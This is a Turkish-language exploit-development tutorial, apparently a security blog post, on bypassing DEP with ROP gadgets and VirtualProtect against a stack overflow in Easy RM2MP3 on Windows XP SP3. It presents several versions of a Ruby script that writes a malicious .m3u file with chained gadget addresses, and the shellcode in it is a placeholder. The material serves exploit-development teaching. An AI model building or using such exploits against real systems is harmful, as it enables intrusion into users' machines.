<p>Örneğin 0&#215;10203040 adresinde bir shellcode&#8217;umuz var ve uzunluğu 400 byte. Shellcode&#8217;umuzun bulunduğu alanın korunma şeklini değiştirmek için VirtualProtect fonksiyonunu çağırmamız Stack üzerinde şu şekilde olacaktır;</p>
<ul>
<li>0x7C801AD4 &#8211; VP()&#8217;nin Adresi</li>
<li>0&#215;10203040 &#8211; Return Adresi</li>
<li>0&#215;10203040 &#8211; lpAddress parametresi</li>
<li>0&#215;00000190 &#8211; dwSize parametresi</li>
<li>0&#215;00000040 &#8211; flNewProtect parametresi (0&#215;40 = PAGE_EXECUTE_READWRITE)</li>
<li>0&#215;30405060 &#8211; lpflOldProtect parametresi (Yazılabilir bir alandaki pointer)</li>
</ul>
<p>Yani biz kontrolünü sağladığımız uygulamanın akışını buraya yönlendirirsek VP() fonksiyonu bu parametreler ile çalıştırılacak ve 0&#215;10203040 adresinden itibaren 0&#215;190 (400 byte)&#8217;lık alan çalıştırılabilir olarak işaretlenecektir ve uygulamanın akışı 0&#215;10203040 adresinden itibaren devam edecektir. Kısacası DEP bypass edilecektir.</p>
<p>VirtualProtect fonksiyonunun adresini bulmak için kernel32.dll dosyasını IDA gibi bir disassembler ile açarak Export edilen fonksiyonları görüntülediğiniz Exports penceresinden bulabilirsiniz, aynen aşağıdaki gibi.</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="http://adeosecurity.com/images/dep-bypass/VirtualProtect.png"><img src="http://adeosecurity.com/images/dep-bypass/VirtualProtect.png" alt="" border="0" /></a></div>
<h2><strong>Gadget Nedir?</strong></h2>
<p>Gadget, kodlar barındıran ve akışın tekrar stack&#8217;e dönüp stack&#8217;teki bir sonraki DWORD değeri alıp o adresten kod çalıştırmaya devam etmesini sağlayan kod parçalarıdır. Stack&#8217;e geri dönülüp alınan değerdeki adresten kod çalıştırılmaya devam edilmesini sağlayan Assembly instruction&#8217;ı ise RET ve türevleridir. Aşağıdaki kod parçası için bir &#8220;<em>gadget</em>&#8220;tır diyebiliriz.</p>
<p><strong>Gadget:</strong><br />
0x7C102030 PUSH EAX<br />
0x7C102031 POP ECX<br />
0x7C102032 POP ESI<br />
0x7C102033 RETN</p>
<p><strong>Stack:</strong><br />
0x7C102030<br />
0xDEADBEEF<br />
0&#215;10014060</p>
<p>Bu gadget kısaca şunu yapıyor, EAX&#8217;deki değeri PUSH ediyor yani stack&#8217;e yolluyor, POP ECX instruction&#8217;ı ile PUSH edilen değeri ECX&#8217;e alıyor, POP ESI ile stack&#8217;ten DWORD&#8217;lük bir değeri (<em>0xDEADBEEF</em>) ESI&#8217;ye alıyor ve en son RETN ile ESI&#8217;ye aktarılan değerden sonraki DWORD değerdeki adresten (<em>0&#215;10014060</em>) çalışmaya devam ediyor. (<strong>Not:</strong> Buradaki adresler örnek amaçlıdır ve gerçek değildir)</p>
<ol>
<li>Adım: EAX&#8217;ın değeri stack&#8217;te</li>
<li>Adım: ECX = EAX</li>
<li>Adım: ESI = 0xDEADBEEF</li>
<li>Adım: Stack&#8217;e geri dön ve 0&#215;10014060 adresinden başlayarak bir sonraki RETN&#8217;e kadar çalıştır.</li>
</ol>
<p>İşte yukarıdaki adımlar bizim ROP exploitimizi oluşturacak adımlar, tabi daha karmaşık adımlar ile mücadele edeceğiz. O yüzden şunu belirmekte fayda var, bu tekniği daha efektif kullanabilmek için iyi bir Assembly bilginizin olması artı yönde katkı sağlayacaktır.</p>
<p>Buraya kadar olan kısım anlaşıldı ise artık elleri kirletmenin vakti geldi demektir. Şimdi örnek bir Stack Overflow zafiyetli uygulama üzerinden DEP&#8217;in aktif olduğu bir sistemde gadget&#8217;ları biraz daha anlamak için pratik yapacağız. Sonraki kısımda ise yine aynı uygulamadaki zafiyet için bir ROP exploit&#8217;i yazacağız.</p>
<h2><strong>Gadget&#8217;ları Anlamak</strong></h2>
<p>Hedef olarak Easy RM2MP3 adındaki klasik stack overflow zafiyeti olan programı kullanacağız. File format tabanlı bir zafiyeti seçmemin sebebi ilk aşamada rahat rahat kullanabileceğimiz bir stack&#8217;e sahip olmamız. İşletim sistemi olarakta XP SP3&#8242;ü hedef aldık ve DEP koruması olarakta OptIn&#8217;i seçtim (AlwaysOn yaptığınızda reboot etmeniz gerekmekte).</p>
<p>Ruby ile ilk aşamada basit bir PoC yazdım. Bu PoC rop.m3u adında bir dosya oluşturacak, bu dosyanın içerisinde bizim payload&#8217;umuz olacak ve hedef uygulamada bu dosyayı açacağız.</p>
<p><strong>PoC.rb</strong></p>
<pre>filename = "rop.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop &lt;&lt; [0x1002E796].pack("V*") # POP EAX + POP EBP + RET
rop &lt;&lt; [0x44444444].pack("V*") # Will be pop'd to EAX
rop &lt;&lt; [0x88888888].pack("V*") # Will be pop'd to EBP
rop &lt;&lt; [0x1002DC4C].pack("V*") # ADD EAX, 100 + POP EBP + RET
rop &lt;&lt; [0xC00FFEEE].pack("V*") # Will be pop'd to EBP
rop &lt;&lt; [0x100155D7].pack("V*") # INT 3

# shellcode to execute from stack when ROP success
shellcode = ("C" * 900)

payload = "#{junk}#{eip}#{rop}#{shellcode}"

puts "Payload size : #{payload.length}"

File.open("rop.m3u", "w") { |f|
 f.write(payload)
}</pre>
<p>Kullanmış olduğum instruction&#8217;lar şu adreslerde yer alıyor sırasıyla;</p>
<ul>
<li>0x1002DC2A</li>
<li>0x1002E796</li>
<li>0x1002DC4C</li>
<li>0x100155D7</li>
</ul>
<p>Immunity Debugger&#8217;ın komut satırında <strong>u 0x1002DC2A</strong> komutunu çalıştırdığımda hemen yukarıdaki Disassembly penceresinde ilgili adreste hangi instruction olduğunu görebilirsiniz. Sırasıyla bakarsak eğer 0x1002DC2A adresinde RET instruction&#8217;i var. Bu adresi EIP&#8217;e yazdirdik yani EIP çalıştığında doğrudan stack&#8217;e dönecek. Sıradan devam ediyorum <strong>u 0x1002E796</strong> komutunu çalıştırdığımda karşıma <strong>POP EAX + POP EBP + RET</strong> instruction seti çıkmakta.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/gadget2.png"><img src="http://adeosecurity.com/images/dep-bypass/gadget2.png" alt="" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">0x1002E796 adresindeki gadget</td>
</tr>
</tbody>
</table>
<p>0x1002DC4C adresinde ise <strong>ADD EAX, 100 + POP EBP + RET</strong> instruction seti var. 0x100155D7 adresinde ise <strong>INT 3</strong> instruction&#8217;ı var, yani breakpoint. Adım adım gadget&#8217;ların nasıl register&#8217;ları etkilediğini (daha doğrusu gadget&#8217;ları doğru bir şekilde çalıştırabildiğimizi) göreceğiz. 0x1002DC2A adresine ImmDbg komut satırında <strong>b 0x1002DC2A</strong> şeklinde bir breakpoint koyuyorum ve rop.m3u dosyasını uygulama ile açıyorum. Program şuan 0x1002DC2A adresinde duraklatıldı. Step Over (<em>F8</em>) diyerek adım adım ilerliyorum.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/rop1.png"><img src="http://adeosecurity.com/images/dep-bypass/rop1.png" alt="" width="400" height="206" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">POP EAX İşlemi</td>
</tr>
</tbody>
</table>
<p>POP EAX işlemi sonunda stack&#8217;teki 0&#215;44444444 değeri EAX&#8217;e yüklendi (<strong>Not:</strong><em> Resimlerin üzerine tıklayarak büyük hallerini görebilirsiniz</em>).</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/rop3.png"><img src="http://adeosecurity.com/images/dep-bypass/rop3.png" alt="" width="400" height="206" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">POP EBP İşlemi</td>
</tr>
</tbody>
</table>
<p>POP EBP işlemi sonunda stack&#8217;teki 0&#215;88888888 değeri EBP&#8217;ye yüklendi. Sonrasında RETN instruction&#8217;ı ile stack&#8217;e döndük ve programın akışı 0x1002DC4C adresine yönlendi.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/rop5.png"><img src="http://adeosecurity.com/images/dep-bypass/rop5.png" alt="" width="400" height="206" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">ADD EAX, 100 İşlemi</td>
</tr>
</tbody>
</table>
<p>Bu işlem ile EAX&#8217;a 0&#215;100 (Decimal olarak: 256) değerini ekledik. Yani EAX 0&#215;44444444 idi, bu işlemden sonra 0&#215;44444444 + 0&#215;100 = 0&#215;44444544 oldu. Aşağıdaki ekran görüntüsünden EAX&#8217;in yeni değerini görebilirsiniz.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/rop6.png"><img src="http://adeosecurity.com/images/dep-bypass/rop6.png" alt="" width="400" height="206" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">POP EBP ve EAX = 0&#215;44444544</td>
</tr>
</tbody>
</table>
<p>Gördüğünüz gibi şu ana kadar ki tüm işlemleri gadget&#8217;larımız ile gerçekleştirdik. POP EBP işleminden sonrada EBP&#8217;nin yeni değeri stack&#8217;teki 0xC00FFEE olacaktır.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/rop7.png"><img src="http://adeosecurity.com/images/dep-bypass/rop7.png" alt="" width="400" height="206" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">RETN ve EBP = 0xC00FFEEE</td>
</tr>
</tbody>
</table>
<p>Bu aşamaya kadar başarılı bir şekilde uygulama yaptıysanız artık exploiting aşamasına geçebiliriz.</p>
<h2><strong>Exploiting</strong></h2>
<p>Exploiting aşamasında ilk olarak ROP gadget&#8217;ları çıkartabileceğimiz ve program tarafından yüklenen kütüphaneleri bulmamız ve o kütüphaneleri hafızadaki durumlarına göre filtrelememiz gerekiyor. ImmDbg&#8217;in pvefindaddr eklentisi ile kolayca bunu yapabiliriz. ImmDbg komut satırında <strong>!pvefindaddr noaslr</strong> komutunu çalıştırarak log penceresine bakıyoruz.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/non-aslr.png"><img src="http://adeosecurity.com/images/dep-bypass/non-aslr.png" alt="" width="400" height="181" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Yüklenen DLL&#8217;ler</td>
</tr>
</tbody>
</table>
<p>ASLR&#8217;nin etkin olmadığı ve BaseFixup (Yani modül her zaman aynı base adreste konumlanmayabilir) olmayan modüllerde ROP gadget&#8217;ları aramak yazacağımız exploit&#8217;in için daha stabil çalışmaları için etkili olacaktır. Exploitimizi yazmaya başlıyoruz..</p>
<p>Exploit&#8217;imizin yapısı şu şekilde olabilir.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/rop_exploit_arch.png"><img src="http://adeosecurity.com/images/dep-bypass/rop_exploit_arch.png" alt="" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">ROP Exploit Yapısı</td>
</tr>
</tbody>
</table>
<p>Normalde shellcode&#8217;umuzun adresini dinamik olarak hesaplamak haricinde pek bir gadget&#8217;a ihtiyaç yok gibi duruyor. Fakat VP fonksiyonunun diğer parametreleri NULL byte (0&#215;00) içerdiği için ve hedef uygulama NULL byte&#8217;ları öldürdüğü için mecburen diğer parametreleride dinamik olarak oluşturup ilgili konumlarına yazacağız. İlk olarak şunu yapıyoruz, EIP&#8217;e sadece RET instruction&#8217;ını barındıran bir adres yazacağız ve stack&#8217;e geri döneceğiz. Ardından shellcode&#8217;umuzun adresini hesaplayabilmek için ESP&#8217;yi bir yada birden çok register&#8217;da saklayacağız ve daha sonra diğer işlemlerimize geçeceğiz. İlk gadget&#8217;ımız 0x1002DC2A adresinde ve sadece RETN instruction&#8217;ı içeriyor, kısacası hemen stack&#8217;e dönecek ve bir sonraki adrese giderek oradaki instruction&#8217;ları çalıştıracak. Bir sonraki instruction&#8217;ınımın adresi ise 0x5AD79277 ve bu gadget PUSH ESP + MOV EAX, EDX + POP EDI + RET instruction&#8217;larını içeriyor. ESP&#8217;ideki değeri EDI&#8217;yede atıyor.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/take_stack_pointer.png"><img src="http://adeosecurity.com/images/dep-bypass/take_stack_pointer.png" alt="" width="400" height="55" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">EDI = ESP</td>
</tr>
</tbody>
</table>
<p>Bir kaç register&#8217;da daha ESP&#8217;yi saklamak faydalı olacaktır daha sonraki işlemler için. Bunun için bulduğum gadget&#8217;lar şu adreslerde 0x77C34DC2 ve 0x775D131E. İlk gadget MOV EAX,EDI instruction&#8217;ı ile EDI&#8217;yi (EDI = ESP) EAX&#8217;a taşıyor, ikinci gadget ise PUSH EAX + POP ESI instruction&#8217;ları ile EAX&#8217;ı (EAX = ESP) stack&#8217;e PUSH ediyor ve daha sonra o değeri ESI&#8217;ye alıyor. Son durumda register&#8217;ların durumu şu şekilde;</p>
<pre>EAX = 0x000FF734
EDI = 0x000FF734
ESP = 0x000FF734
ESI = 0x000FF734</pre>
<p>VirtualProtect fonksiyonunu temsili bir şekilde stack&#8217;te yer edindirmek içinde parametreleri rastgele değerler ile exploitimize giriyoruz.</p>
<p><strong>Exploit:</strong></p>
<pre>filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop &lt;&lt; [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x33445566].pack("V*") # trash for POP
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

# VirtualProtect
rop &lt;&lt; [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop &lt;&lt; [0x44444444].pack("V*")
rop &lt;&lt; [0x45454545].pack("V*")
rop &lt;&lt; [0x46464646].pack("V*")
rop &lt;&lt; [0x47474747].pack("V*")
rop &lt;&lt; [0x10035005].pack("V*")

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}</pre>
<p>VirtualProtect fonksiyonunun çalıştırılmaması için ESP&#8217;yi biraz arttırarak VirtualProtect ve parametrelerini aşmamız gerekmekte. VP() yer tutucusu 6 DWORD&#8217;den oluşmakta. 6 DWORD demek 6 x 4 = 24 byte demek. ADD ESP, 18 gibi instruction benim için bu işlemi yapacaktır. 0x77C22894 adresinde işimi görebilecek bir gadget mevcut. ADD ESP,20 + POP EBP + RET instruction&#8217;larından oluşan bu gadget ile ESP&#8217;yi 32 byte (20h = 32d) kaydırabilmem mümkün. Şunuda not olarak eklemek gerekmekte. Exploit&#8217;te görebileceğiniz gibi 0x77C34DC2 gadget&#8217;ından sonra ROP Payload&#8217;uma 0&#215;33445566 gibi bir değer daha ekledim. Bu değer POP ESI instruction&#8217;ına atanacak. Önemsiz bir değerde olsa mutlaka bir değer verilmeli gadget içinde eğer POP instruction&#8217;ı varsa, yoksa POP instruction&#8217;ları stack&#8217;ten bir sonraki değeri alacaktır ve ROP Payload&#8217;unuz istediğiniz gibi çalışmayacaktır. 0x5AD79277 gadget&#8217;ında da POP işlemi var ama herhangi bir değer neden girmedik diye soracaksanız bunun cevabı zaten gadget&#8217;ın içerisinde. PUSH işlemi bir DWORD değeri stack&#8217;e attı, sonrasındaki POP işlemi ise o atılan değeri otomatik olarak aldı. Gadget, PUSH ESP + POP EDI + POP EAX şeklinde olsaydı benim ROP Payload&#8217;um şu şekilde olacaktı.</p>
<pre>rop &lt;&lt; [0x5AD79277].pack("V*") # PUSH + POP + POP
rop &lt;&lt; [0x44332255].pack("V*") # En son POP için</pre>
<p>Kaldığımız yerden devam.. Exploit&#8217;imin son hali şu şekilde;<br />
<strong>Exploit:</strong></p>
<pre>filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop &lt;&lt; [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x33445566].pack("V*") # trash for POP
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

rop &lt;&lt; [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP

# VirtualProtect
rop &lt;&lt; [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop &lt;&lt; [0x44444444].pack("V*")
rop &lt;&lt; [0x45454545].pack("V*")
rop &lt;&lt; [0x46464646].pack("V*")
rop &lt;&lt; [0x47474747].pack("V*")
rop &lt;&lt; [0x10035005].pack("V*")
rop &lt;&lt; [0x61616161].pack("V*") # add esp,20 için
rop &lt;&lt; [0x61616161].pack("V*") # add esp,20 için

rop &lt;&lt; [0x77887788].pack("V*")

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}</pre>
<p>VP()&#8217;den sonra koymuş olduğum iki adet 0&#215;61616161 değerleri toplamda boyutu 32&#8242;ye tamamlamak içindi. Aksi halde ESP istediğim yere işaret etmeyecekti. Eğer herşey doğru ise ESP&#8217;nin değeri 20h (32d) artmalı ve bir sonraki çalıştırılacak gadget olarak 0&#215;77887788 adresine gitmeye çalışmalı programın akışı. 0x5AD79277 adresine breakpoint koyup dosyayı hedef program ile açıyoruz ve EIP 0&#215;77887788 olana kadar Step Over (F8) yaparak gidiyoruz. Aşağıdaki resime bakarsanız, register&#8217;lardaki kaydedilmiş ESP değerlerini görebilirsiniz. Bir sonraki resimden ise EIP&#8217;in 0&#215;77887788 adresine gitmeye çalıştığını görebilirsiniz. Eğer bu adımları başarıyla gerçekleştirdiyseniz, artik VP() fonksiyonuna müdahele ederek parametreleri istenilen değerlere atama aşamasına geçebiliriz.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/registers.png"><img src="http://adeosecurity.com/images/dep-bypass/registers.png" alt="" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Register&#8217;ların Son Durumu</td>
</tr>
</tbody>
</table>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/eip_7788778.png"><img src="http://adeosecurity.com/images/dep-bypass/eip_7788778.png" alt="" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Sonraki Adımda EIP</td>
</tr>
</tbody>
</table>
<p>EDI, ESI ve EAX register&#8217;larında ESP&#8217;nin ilk baştaki değeri mevcut. Bu değere göre bir register&#8217;ı shellcode&#8217;umun adresine eşitleyeceğim VP()&#8217;nin ilk iki parametresi için. Öncelikle shellcode&#8217;umun adresine bakıyorum.</p>
<table class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td style="text-align: center;"><a style="margin-left: auto; margin-right: auto;" href="http://adeosecurity.com/images/dep-bypass/stack.png"><img src="http://adeosecurity.com/images/dep-bypass/stack.png" alt="" border="0" /></a></td>
</tr>
<tr>
<td class="tr-caption" style="text-align: center;">Stack&#8217;in Durumu</td>
</tr>
</tbody>
</table>
<p>İlk iki parametreyi C&#8217;lerin bulunduğu adreslerden bir tanesine işaret edecek şekilde ayarlarsam başarılı olabilirim. Arayı biraz bırakırsam iyi olur çünkü araya başka gadget&#8217;larda gireceği için yeterli alanı sağlamam gerekmekte. Bunun için <strong>ADD EAX, XX</strong> gibi bir gadget bulmalıyım. Bulduğum gadget&#8217;lar içerisinde en kullanışlı olanı ADD EAX, 100h gadget&#8217;ı. EAX (0x000FF734) + 0&#215;100 (256d) = 0x000FF834 adresine tekabül etmekte. Shellcode&#8217;umu bu adrese işaret edecek şekilde daha sonra konumlandıracağım. Şuan için shellcode yerine C karakteri kullandık. Artık EAX shellcode&#8217;umuza işaret ediyor diyebiliriz.</p>
<p>İlk parametreyi atamak için saved ESP&#8217;ye sahip register&#8217;lardan bir tanesini temel pointer olarak kullanıp işaret ettikleri değerleri değiştirebilmemiz lazım. Şuan için elimizde ESI ve EDI kaldı sadece saved ESP&#8217;ye sahip register&#8217;lar olarak. Bulmuş oldupum gadget&#8217;lar arasındaki en kullanışlısı 0x7301D6EA adresindeki gadget. Bu gadget şu instruction&#8217;lara sahip;</p>
<pre>MOV DWORD PTR DS:[ESI+18],EAX
MOV DWORD PTR DS:[ESI+1C],EAX
MOV EAX,ESI
POP ESI
POP EBP
RETN 4</pre>
<p>Görüleceği gibi gadget ESI+18 ve ESI+1C adreslerine EAX&#8217;in değerini yazıyor. ESI (0x000FF734) + 0&#215;18 (24d) = 0x000FF74C ve ESI (0x000FF734) + 0x1C (28d) = 0x000FF750.</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="http://adeosecurity.com/images/dep-bypass/stack2.png"><img src="http://adeosecurity.com/images/dep-bypass/stack2.png" alt="" border="0" /></a></div>
<p>0x000FF74C adresinde DDDD ve 0x000FF750 adresinde ise EEEE değerleri var. Bulmuş olduğum gadget tek atışta DDDD ve EEEE değerlerini EAX&#8217;in değerine eşitleyeceğiz.</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="http://adeosecurity.com/images/dep-bypass/ROPPED2.png"><img src="http://adeosecurity.com/images/dep-bypass/ROPPED2.png" alt="" border="0" /></a></div>
<p>Bulmuş olduğumuz kullanışlı gadget&#8217;ımız sayesinde tek atışta 0x000FF74C ve 0x000FF750 adreslerine EAX&#8217;ın değerini yazdırdık. Ama şuan için sorunumuz gadget içerisindeki MOV EAX, ESI ve POP ESI instruction&#8217;larının mevcut değerleri bozması. Bir sonraki gadget ile bu değerleri kurtarmamız gerekecek. Bunun içinde daha önceden kullandığımız MOV EAX,EDI + POP ESI + RET ve PUSH EAX + POP ESI + RETN gadget&#8217;larını kullanacağız. Exploitimizin son hali şu şekilde olmalı.</p>
<pre>filename = "rop2.m3u"
buffersize = 26109
junk = "A" * buffersize

eip = [0x1002DC2A].pack("V*") # RET

# rop payload
rop = "FFFF"
rop &lt;&lt; [0x5AD79277].pack("V*") # PUSH ESP + ... + POP EDI + RET
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
rop &lt;&lt; [0x33445566].pack("V*") # trash for POP
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN
# EDI, ESI ve EAX ESP'nin değerine sahipler

rop &lt;&lt; [0x77C22894].pack("V*") # ADD ESP,20 + POP + RET
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP

# VirtualProtect
rop &lt;&lt; [0x7C801AD4].pack("V*") # VirtualProtect from kernel32.dll
rop &lt;&lt; [0x44444444].pack("V*")
rop &lt;&lt; [0x45454545].pack("V*")
rop &lt;&lt; [0x46464646].pack("V*")
rop &lt;&lt; [0x47474747].pack("V*")
rop &lt;&lt; [0x10035005].pack("V*")
rop &lt;&lt; [0x61616161].pack("V*") # add esp,20 için
rop &lt;&lt; [0x61616161].pack("V*") # add esp,20 için

# EAX'i shellcode'a işaret ettiriyoruz
rop &lt;&lt; [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN &gt; msvcrt.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x000FF734
# Overwrite first &amp; second parameter of VP()
rop &lt;&lt; [0x7301D6EA].pack("V*") # MOV DWORD PTR DS:[ESI+18],EAX + MOV DWORD PTR DS:[ESI+1C],EAX + MOV EAX,ESI + POP ESI + POP EBP + RETN 4 &gt; MFC42.dll
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP

# EAX = 0x000FF834
# EDI = 0x000FF734
# ESI = 0x41414141
rop &lt;&lt; [0x77C34DC2].pack("V*") # MOV EAX,EDI + POP ESI + RET
<strong>rop &lt;&lt; [0x14141414].pack("V*") # trash for RETN 4</strong>
rop &lt;&lt; [0x62626262].pack("V*") # trash for POP ESI
rop &lt;&lt; [0x775D131E].pack("V*") # PUSH EAX + POP ESI + RETN

nops = ("\x90" * 100)
shellcode = ("\xCC" * 350)
junk2 = ("\xCC" * (600 - shellcode.length))
payload = "#{junk}#{eip}#{rop}#{nops}#{shellcode}#{junk2}"

puts "Payload size : #{payload.length}"

File.open("rop2.m3u", "w") { |f|
 f.write(payload)
}</pre>
<p>RETN+N şeklindeki instruction&#8217;lar için kısa bir bilgilendirme yapmak lazım. Bu tip durumlarda N adet DWORD&#8217;ü bir sonraki instruction&#8217;dan sonra konumlandırmak lazım aksi takdirde ROP Payload&#8217;umuz istediğimiz gibi çalışmayacaktır. Bunun sebebi ise RETN+N komutu çalıştırıldığı zaman stack&#8217;ten N kadar parametrenin POP edilmesidir.</p>
<p>ROP Payload&#8217;una bakacak olursanız ESI ve EAX&#8217;ı kurtardık. Bir sonraki görevimiz ESI+20 (0x000FF754) konumuna korunma durumunu değiştireceğimiz alanının boyutunu girmek (VP()&#8217;nin 3.parametresi). Bunun için yine EAX&#8217;i kullanabiliriz. Öncelikle EAX&#8217;i sıfırlıyoruz, XOR EAX, EAX işlemini yapan bir gadget buluyoruz. Bu arada gadget bulma işlemi için debugger&#8217;ın arama özelliğini ya da pvefindaddr gibi bir PyCommand&#8217;ı kullanabilirsiniz, tercihinize kalmış bir durum. 0x100307A9 adresindeki XOR EAX, EAX gadget&#8217;ı ile EAX&#8217;ı 0(sıfır)&#8217;a eşitliyoruz. Daha sonra 0x77C4EC2B adresindeki ADD EAX, 100 gadget&#8217;ı ile EAX&#8217;ı 100h&#8217;ye eşitliyoruz. ADD EAX, 100 gadget&#8217;ını 4 kez çalıştırırsak EAX&#8217;a 0&#215;400 (1024d) gibi bir değer atanacaktır ki bu boyut shellcode&#8217;umuz için oldukça kullanışlı. ROP Payload&#8217;umuza aşağıdaki eklemeyi yapıyoruz.</p>
<pre>rop &lt;&lt; [0x100307A9].pack("V*") # XOR EAX, EAX + RETN
rop &lt;&lt; [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP
rop &lt;&lt; [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP
rop &lt;&lt; [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP
rop &lt;&lt; [0x77C4EC2B].pack("V*") # ADD EAX,100 + POP EBP + RETN
rop &lt;&lt; [0x41414141].pack("V*") # trash for POP EBP</pre>
